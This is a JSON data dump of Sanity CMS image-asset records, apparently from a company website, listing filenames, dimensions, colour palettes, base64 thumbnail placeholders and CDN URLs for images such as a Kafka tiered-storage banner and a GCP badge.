{"_createdAt":"2024-03-11T14:23:44Z","_id":"image-cb03796ccc89c94bc4a75689f45a5721313cb172-860x263-jpg","_rev":"3FGtLQfVRJNnLVm3pWVYjD","_type":"sanity.imageAsset","_updatedAt":"2024-03-11T14:23:44Z","assetId":"cb03796ccc89c94bc4a75689f45a5721313cb172","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D2A16_?Y9U-:0C00D%WIIT?d","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2699619771863118,"height":263,"width":860},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAGABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAEFB//EAB8QAAEEAgIDAAAAAAAAAAAAAAEAAgMEBRIRIRMyQf/EABYBAQEBAAAAAAAAAAAAAAAAAAQCBv/EABgRAQEBAQEAAAAAAAAAAAAAAAEAAhEh/9oADAMBAAIRAxEAPwDP4sXE+nDYEFcF7Nu2nlRFj2T1PKYK2o+FpRFr3J7C7VmQEUNgxtrwt1A9R0iIl5DhQ3//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334472","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041469","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":8.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a95c9","foreground":"#000","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbaf4","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b72a2","foreground":"#fff","population":2.78,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242c94","foreground":"#fff","population":8.6,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Image 3-11-24 at 10.22 AM.jpeg","path":"images/sczeoy4w/production/cb03796ccc89c94bc4a75689f45a5721313cb172-860x263.jpg","sha1hash":"cb03796ccc89c94bc4a75689f45a5721313cb172","size":68967,"uploadId":"ccRyD0sQBpQCtznhGA04AeU5dhTdv3M6","url":"https://cdn.sanity.io/images/sczeoy4w/production/cb03796ccc89c94bc4a75689f45a5721313cb172-860x263.jpg"} {"_createdAt":"2022-09-17T20:54:57Z","_id":"image-cb5628dde856557a636f4ce4e732a7bbe1f15a1a-192x192-jpg","_rev":"StyfnzRSyhTCbsBlPUoZnS","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:54:57Z","assetId":"cb5628dde856557a636f4ce4e732a7bbe1f15a1a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eQH1PY?GORRPxH}@xatQNGaet5bbW=WEjGt7WqRjjZofIpoLWDs:af","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":192,"width":192},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAMFBgf/xAAjEAACAQQCAgIDAAAAAAAAAAABAgMABAUREiEGMSJBExRR/8QAFwEAAwEAAAAAAAAAAAAAAAAAAQIFBP/EABsRAAMAAwEBAAAAAAAAAAAAAAABAgMRURIT/9oADAMBAAIRAxEAPwDVQT8cBapDIqyH5Af2sR5Xc3M3JGkj4KvzIqGEzzZDj+yAnEInfrVReQWIjTijExe277J+6mxO8eyvOVJtIv8ADNgJsfE0l2v5NabbejSuVyYvGTO0kd5cxBjsrv7pQ8x0zfR8LcTSCJ3DEMpGtVBk8rdTWBR3HbFd671SlNIkNpMzsfaAkmlKUBD/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#51442b","foreground":"#fff","population":7.72,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#533c1a","foreground":"#fff","population":5.67,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccac8c","foreground":"#000","population":7.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccac8c","foreground":"#000","population":7.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcb89b","foreground":"#000","population":0.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a9755a","foreground":"#fff","population":6.86,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc813c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"andy.jpg","path":"images/sczeoy4w/production/cb5628dde856557a636f4ce4e732a7bbe1f15a1a-192x192.jpg","sha1hash":"cb5628dde856557a636f4ce4e732a7bbe1f15a1a","size":14629,"uploadId":"XS3BU1jK5uelvRWsOhEVzZBBv9x4ScTK","url":"https://cdn.sanity.io/images/sczeoy4w/production/cb5628dde856557a636f4ce4e732a7bbe1f15a1a-192x192.jpg"} {"_createdAt":"2023-07-31T06:20:35Z","_id":"image-cb5866a5cd21bcbf8d15f956fe1109ff95d7deb6-200x200-jpg","_rev":"JHBctTLkFjmsOG75HdkAZW","_type":"sanity.imageAsset","_updatedAt":"2023-07-31T06:20:35Z","assetId":"cb5866a5cd21bcbf8d15f956fe1109ff95d7deb6","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGC~h:-p009Z~Bj=t6t7ofRk57bI^kxaNGM{ayxaofoeE2fQ-oofIo","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":200,"width":200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAQACAwAAAAAAAAAAAAAAAAYDBAUHCP/EACUQAAIBAwMDBQEAAAAAAAAAAAECAwAEBQYREgcTIRYiMUFRMv/EABYBAQEBAAAAAAAAAAAAAAAAAAMEAv/EABsRAQACAwEBAAAAAAAAAAAAAAEAAgMRIRIx/9oADAMBAAIRAxEAPwCJ0yvqHOW+Pifh3Cd2PwAPmtrqboqDFWxukuUlUjtsAf37qK6VZC7x2trBlheZJH7TAjfw3iuxuudzNY4Mrbwex5QjPw/kD6o7KWCUY61cdl+zz1OjwStH+GlctHbvKgkYD3+RuKUknlXiLqbDXEVzYOUmiPJWPnzWXU2p8tqALHlLkyxg78ANhvSlWeTnIYpsk+yBwu+4CjiAPylKUSG5on//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b354d","foreground":"#fff","population":6.67,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#472518","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dbb6b0","foreground":"#000","population":11.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ca9a96","foreground":"#000","population":1.95,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dbb6b0","foreground":"#000","population":11.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c6454","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#be6340","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"e5251408-4939-471e-b72b-b03113ec7ada_thumb.jpg","path":"images/sczeoy4w/production/cb5866a5cd21bcbf8d15f956fe1109ff95d7deb6-200x200.jpg","sha1hash":"cb5866a5cd21bcbf8d15f956fe1109ff95d7deb6","size":6868,"uploadId":"qJLK4LuUFrIztXE8QoG4uxDOKDnd1xCG","url":"https://cdn.sanity.io/images/sczeoy4w/production/cb5866a5cd21bcbf8d15f956fe1109ff95d7deb6-200x200.jpg"} {"_createdAt":"2022-06-30T19:59:12Z","_id":"image-cb67cd229480e7acf31788e3f26d4f1e8b56b8bb-299x220-png","_rev":"cEPH2uRN58AU2lp9QO7wjZ","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:30Z","assetId":"cb67cd229480e7acf31788e3f26d4f1e8b56b8bb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VwNEnqoL[=n+$6$PjtWoaza||HjaJ-j@N]soazWVj@j@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3590909090909091,"height":220,"width":299},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAACx0lEQVQ4ja2TyWsTURzH88+Y2rzZp00T06YmbfZl3swkoW4VbRVF0Jso6MHl4k0RBU/ePUptPangSVBEUaSK4tKi4tpW6+5HZjRdXG4ePgwz7/GZ73u/3y/yvcvnfxJZ+vJtAY+vbey/0OWFe779SxgsBBs/2h7vLJdZSzJjSt62sRaZ+cWcJXlvu3z69YMFYVs2Z7ncNSWXDMl5QzJhOJwzHMZ0hzFtkXOaw7juMKFLLhuSh6Zk3nYXpJFA9sl2mTYdzuiS3YbHzrhke1+dtb0OTdulqXg0hRc+Wwv47FI8xnXJK9Phcyj1iXy2Pd5bDnf1GsdUhyHTo5GSVPM1unIOStxDFQ3U2HIU0aQkfE6rdaaNGh8syRfbI/LRdpkx69zSKhxR6hS0Bim7SSrZxEq20KwWmrqIqrRQRRMl1iAvPE4pVR7oFeZMJ7zPyAfL5bVR47pa4rBSI2MNYSc2kuwfZVVmKz2pjcQTG4j3bqY7tRk7PoxhrAnFOeFxQlSY1MphqCBcZN5yeWnUuKYUOaRUyXe3SKfXMZDbRKawhb7sSEi6uIPe/A6S2W2h3LTXk1d9jsfK3FFLvFkqfNUWigo5Q5Lqdkn3eKxKDNGTXE8iNUyif4R4epSe9CjxvhGs+DB5rcFx8ZuwfeSbaomjoowv6gyG1MgIh9VCklFcMqrHatUno/lktQZZ1WeNkJwWZe4tPXK7KA+0MuOiyNHOAgc6cuyLDrI3OsCeFdll7F2RZX90gIMdOU52FrioFHkSFMUKWsf72TbvLMlzo8qkWuRKbJALKzNMdPQzFu3j7G+MRdOc7+jnUmeWqyLHfbUU1mC+3TZBh/9M6fBcr/JIKzGp5LktctwUg9yILSf4FqzdUwo81kq8MKphumA4gqkLRy8wB3cZSF8YNZ7qFab0Mo+1P3milZnSKzzTq2GyWdMJAwUTF4zeD1sDkjhLp+12AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2b54","foreground":"#fff","population":26.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#082340","foreground":"#fff","population":0.27,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3454","foreground":"#fff","population":26.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abbcc0","foreground":"#000","population":0.94,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4c56","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a37a56","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3454","foreground":"#fff","population":26.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cb67cd229480e7acf31788e3f26d4f1e8b56b8bb-299x220.png","path":"images/sczeoy4w/production/cb67cd229480e7acf31788e3f26d4f1e8b56b8bb-299x220.png","sha1hash":"cb67cd229480e7acf31788e3f26d4f1e8b56b8bb","size":26729,"uploadId":"4eR6NwxbZ7RmDp9i8fCXEzCMrS76KzNn","url":"https://cdn.sanity.io/images/sczeoy4w/production/cb67cd229480e7acf31788e3f26d4f1e8b56b8bb-299x220.png"} {"_createdAt":"2022-06-15T20:01:47Z","_id":"image-cb99bc943bbed6237763af9ee4e7848710010ed7-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhesz","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:52Z","assetId":"cb99bc943bbed6237763af9ee4e7848710010ed7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M45#-CL}.T4Toz?va0tSM{ay00I;sm-;t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABx0lEQVQokZXS32/SUBQH8Pbe9rYdtFRA2nrhoRbKSLvClR/tKFICkdCyIrgZh4YZnbqIySIx0Zc96YvxyT/ZFNzDnDHx8/7NOTnfQ1EUBSFEWwzDAABomqZuoSEURFG7X640O5UHrQppHnQfUjRNC4JQ2BJFESG0y98AAJdKqYZp9Yedo0X/ZHn0+t3y8hMFAJAkSdd1wzAwxtlsNp1OI4TgNRoAwDCyhqt+QMLHnfg4fHVxfvV18+NnsnM+n6/X667rtlotQoht26ZplkolVVUVReEFgeG4gmE6j6bNaN6O5uOzN6vPV++/fU/CiqJ4njeZTOI4ns1mURRNp9MgCAghlmXJssxw/F2jao1CEs6a0XywfLlYfzzdfPm9tmma7Xbb9/1er+e6rud5jUZD1/VkMs9DlpXvlYzu4GAcO+P48Ph59PbDYr1JDoYQyuVyGONisYgx1rYURclkMgih3cF4SVZrTnUwcaInh09X4fk6vrhMagAAIIR4nuduYlkWALCrCkBm705OrTm1Ydg9eTE8PQuera5r/Js/qgaQ4SVZKe/bfkCCkdUf3X6Hf6BpALm9VFbDWnm/aJP/Cu/iEKVESSsVTOsXOhBGagVcYhIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#314c53","foreground":"#fff","population":7.67,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c4449","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#314c53","foreground":"#fff","population":7.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccd4dc","foreground":"#000","population":0,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9fd3da","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#738d94","foreground":"#fff","population":1.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#46abb8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cb99bc943bbed6237763af9ee4e7848710010ed7-752x405.png","path":"images/sczeoy4w/production/cb99bc943bbed6237763af9ee4e7848710010ed7-752x405.png","sha1hash":"cb99bc943bbed6237763af9ee4e7848710010ed7","size":77624,"uploadId":"oIPc1LlPmkojuA2q5PhM3qWEfq0BSExc","url":"https://cdn.sanity.io/images/sczeoy4w/production/cb99bc943bbed6237763af9ee4e7848710010ed7-752x405.png"} {"_createdAt":"2024-02-20T11:07:01Z","_id":"image-cbd0ed8183650a57bb10a0645de29654881b9dac-2500x1308-png","_rev":"IWll06JTQ4C3MRhtUNTFce","_type":"sanity.imageAsset","_updatedAt":"2024-02-20T11:07:01Z","assetId":"cbd0ed8183650a57bb10a0645de29654881b9dac","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC84r_xrMvWBRj_4fhM{j]RkMwRjs:t7ad","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABcRAAAXEQHKJvM/AAACPklEQVQokSWO/VPScACH9xcEbN8x9vIdDNgwwBAik9O8k4tIFsxtDDYYr00IEyQl7zI5XwhBy4vs1Ly661/ttF+fu+f5fBAboRKsTnIm5Bu+0Dv/fJcL9jzBvi884COfhIVhIHYSjI8DsWMhsj+3sCdE9rhgl+QadlcRwehCMNpeTg5S4jAjj9Y3xsnMaPXVaC0zFdWZqP58LV+/yd+lN67S0oWoTNfli9X0mRDZBbCBOFk9vtzN5k+08lQtnW8UL7LaV1H5JhV/GPU7rXKnln/r9b+ycSsVLlXjUi3fpHJXgeiQ9A3u5cUXO5J2qhhnUmGS06ayfqkaM712U7X+KKVbMX8t5n+lcrNkZpLKTtLS90RyyoU/08Ih4oR6LLGdzh6mc0ep7NG6NBbVc8WYFas3hcptSppFlyePn474haEvPPCFet5QDwpbBNchuD6C0Zo/1Iw+344s9uaf7cQS+/GVg8Ta8crLL0tr4ydLp57QkOIPCO8uYNsoXXNQFQdpolQVZ9uIjVBRSsOhgUMTd9dcnEV6OzTfZYQ+I3yg+F3S/5H07xNcH0ALpSoY0wTQwpgGgC3E5lSASyHootNtAraK0nUMWoDt4O73gO0AuIm7O05PF3dvoXTdQZYfyBbGNFDKRDBC8UMlNFcJzLegYAHYBOx/YRtnWyhdQakqYCwANx2UaScNAN8CtuWgSjYij2CE7GXkuYDJhzcZvwVg477NPqyxbQdZtrv0+ztM006WbK4ixtRRumZ3aY+cyj+wHJ8FMZVevAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36306a","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04126d","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d5d9e9","foreground":"#000","population":8.68,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5d9e9","foreground":"#000","population":8.68,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#777cbf","foreground":"#fff","population":0.56,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a7093","foreground":"#fff","population":1.47,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#262f91","foreground":"#fff","population":2.38,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"A guide to Apache Kafka® tiered storage with Aiven and Terraform social_media.png","path":"images/sczeoy4w/production/cbd0ed8183650a57bb10a0645de29654881b9dac-2500x1308.png","sha1hash":"cbd0ed8183650a57bb10a0645de29654881b9dac","size":216036,"uploadId":"bAiFCkvFSSaRxqj9lHYjSffdJ4q0kvfw","url":"https://cdn.sanity.io/images/sczeoy4w/production/cbd0ed8183650a57bb10a0645de29654881b9dac-2500x1308.png"} {"_createdAt":"2022-09-13T14:19:53Z","_id":"image-cbd37e4ba795cef6b74d5c15f269f03b5a2ce306-947x288-png","_rev":"k8Pq0px2i8BPOfOn9tkESK","_type":"sanity.imageAsset","_updatedAt":"2022-09-13T14:19:53Z","assetId":"cbd37e4ba795cef6b74d5c15f269f03b5a2ce306","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2881944444444446,"height":288,"width":947},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABTklEQVQYlW2PzWrbUBCF9f6LPEA33eQJWsiuNJQ2hZKQLEJtpbGtq98rS1YkWb4/oztngrRqoQc+vuEsDkwEyBlEFIaew9AHJuIQmI0xfJ6m1QvTNPH5PPEwjny5XNhay9Y6nueZAbCIzABMhOADZ8+w3z+j/vETOn/DZGd0XYe8KJHlBZRKodIMZVWhqjTKslo5HhtYa7FERBZxxCaH33xEd3uFx693+PY0Ij06aF3jkCgkicLrbo/9IUFRlNB1jaZpcTp1GIZxee7vQURhiqXefZCn52u5uT/IpwcvcW5EpZn83mxlG79I/PJHNtt4vZd+HEcJIQgzLysrSxZHwbc2b3/5u+SevsQtPSaBmp6oaU+kVEqHRFGa5atfd3sqipKMMSQi/8NFAGI3u7y3F90bqixBM0OHELQn0s577b1f7ZxbO2bWAP5BRAoAu3ecOsO9j4OaUgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#415436","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#35a358","foreground":"#fff","population":0.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4bb0f","foreground":"#000","population":1.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2d0d7","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fae664","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5575aa","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4bb0f","foreground":"#000","population":1.37,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"gcp-badge.png","path":"images/sczeoy4w/production/cbd37e4ba795cef6b74d5c15f269f03b5a2ce306-947x288.png","sha1hash":"cbd37e4ba795cef6b74d5c15f269f03b5a2ce306","size":7371,"uploadId":"PC9vAXSgcO7HWLrcKhuUnUCImini3oYg","url":"https://cdn.sanity.io/images/sczeoy4w/production/cbd37e4ba795cef6b74d5c15f269f03b5a2ce306-947x288.png"} {"_createdAt":"2023-09-06T08:22:05Z","_id":"image-cc2329da6bf059314390037b77c81b41789822a5-2372x1265-png","_rev":"jBJgpqpGruZvOgVMUB5vwn","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T08:22:05Z","assetId":"cc2329da6bf059314390037b77c81b41789822a5","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.875098814229249,"height":1265,"width":2372},"exif":{"ColorSpace":1,"PixelXDimension":2372,"PixelYDimension":1265,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAACA0lEQVQokX2S3U/TUBiH96/C2NZtZQyJGA0XXilRxtp1A4mReImAoDEhkWgMEo0iIEFgg/gRwKHJJOyj3UrX9jHnlJKoiRdP3vdcnCe/9z0nElN14v0FlIEiyWxJ9j3KOD1KTtKbHCeRKZAaLJG+MoE6NPlfIjG1QEw1SGQCYSJj0JfWJLG0RrxfJ5ktSmEoDcR/MxkKDeL9BgmRcKCEInq1IMXi4o2bD7k1NsNobobbuaDeyc9yV5tjTJ8nV3iMVnpCvrjIaG6WiBhRCJVsKRCmdOJJkU4nOzzF1PQSK6tbvFvbkbz/sMva+h7rG2U2NitsbX+mvH/E9s43Xrz6GAhFGjGuIJYuEE1qRJN5ssP3eDS/wuHRD87O6jQaTSyrTbvdCeh0sO1zXNelZbYpV46ICFn4III+tUhvSqf3Qji78JrqSQ3TtLBtG8/z8H3/Eu/ibFk2lYNjIqFILDwQGkRTOtFUnsFrU1L4/aRGq2VitTs4Tlcmcj0Pz/OD6vuYVofy/h/CicuR+1Ia4jsNXb/P3OIqx9Ua9UaLer2JabY5d7p0pcy/rE2zw27lmEgoCmtC1SRKxuDqyAPmn76h+vOUZsuSOxSjh0KB7bicNWy+Hp6ytvnl34SJjC5RBgyGR6ZZePaW2mkTx3WlyOm6dF0vSOf6NEyHvf1fPH95wNLyJ34DWUdU5j+UvK4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#532b5d","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#28356b","foreground":"#fff","population":0.81,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6c7494","foreground":"#fff","population":33.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c0b4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9195e1","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7494","foreground":"#fff","population":33.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f68b9","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"flink-bq-create-new-endpoint-modal.png","path":"images/sczeoy4w/production/cc2329da6bf059314390037b77c81b41789822a5-2372x1265.png","sha1hash":"cc2329da6bf059314390037b77c81b41789822a5","size":363935,"uploadId":"kgkPiBsyvCJhof9uYNbcf7QgnrUe5TAN","url":"https://cdn.sanity.io/images/sczeoy4w/production/cc2329da6bf059314390037b77c81b41789822a5-2372x1265.png"} {"_createdAt":"2022-06-15T20:02:09Z","_id":"image-cc4b182f2f1a39434bb430230ee87ac838db228b-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEcmrF","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:24Z","assetId":"cc4b182f2f1a39434bb430230ee87ac838db228b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPP6s..SRiW?xIGJxZR4Next~VIUt8%MM_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADNUlEQVQokR3P204iBxgA4Hm7tsle9aI3TdakaZpe78Vmt+whS4qF7Vaj2RbRyFZFpThGBVEKFIEih2EcYDjOADPMAQaGGREWtNbl/5v0e4OPaPDSk0q19aFU5n00U92iaNZN0eyHQqmx2xZ7B319Qg7NGSn1Z2SKvyUjtTuyrtyS/eGU1AZjsqeNDjTNPOwLTU+fibwjag1xs1Tm+UKpblI0289RRS2TK/QpuqxzTcXQ9IkxNGeGPJgZVPvOSHJ3Rk2eGoKkG0W2biRSuWEyTZt0JqOULk7ShNI1fR15YLaELja4NvI8h61WGwVRRVk1UNI+oqRNUVSv8arexTQrI1MRMJNj8NgfRKd7H9d2T/HQfz7768hTIDheIhucOGQKFcxms/MamwFNqYChK9DXR8CrM2CFMWSu6hAIhuHkNAT+wBl4vX/AmmsdHCsb8yX3EW5seUd7ruUL4jwUPfMHgtfb2x5cd/0G4eAOyM04mP0qDAYDUAYzbMojuEhSuLvnwx3PHq65XLi6uop2hwPf/GiH17af8eUPz0fr9mdhIhKNB0jyyHQ6nfjOYQU/6USllUBda6Co6ij1JqgqQywzLP55GsQt9yb+ZLPh4qINLc+f4cLjx/Doi8/wm68ejfxr1jDRFnu+AssN46kcRqPnc5aJ/18WpTbkqzJkC00oMxUQ6SsQMylI+Ulw/7oMrtVfYMVhhSffL8DCl5/j26ffjlrx/TAxNKZeqTfWq6KJfEeb93o9kMU25Kk8BM4isLN/AIeePaiensA0HQMzGwE25odkOACX4WPI+d3zS98K1iPbo5tGKkqYSs+nCorB8QqKHRWHXRXVZg0zsRDub23ikn0R31tfI7O9gfeJIM6LF2jWMlgu5LFeovCm8TfeczH8p5WaGM1Cghg3q+8H1SIj14qS3q4KU7UufuyURImJiZdBb+twfZk/XrLxAvk79ylzzmEtyd0JFNdr0Fy3QXPTdq75byfbue/kyzpX8BKzTvXrSbv0aiwU395KRceDWnTMVcbxIFH2KZ+yXudDr0axo5f32dALqCQs0EpbQM5bPsl5y4OcfzFXaOtcyTseJPrNTfPqu/8AtvLC0byAHfQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#442e28","foreground":"#fff","population":0.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#28160e","foreground":"#fff","population":0.57,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6e1ca","foreground":"#000","population":11.48,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cc9fa9","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6e1ca","foreground":"#000","population":11.48,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSw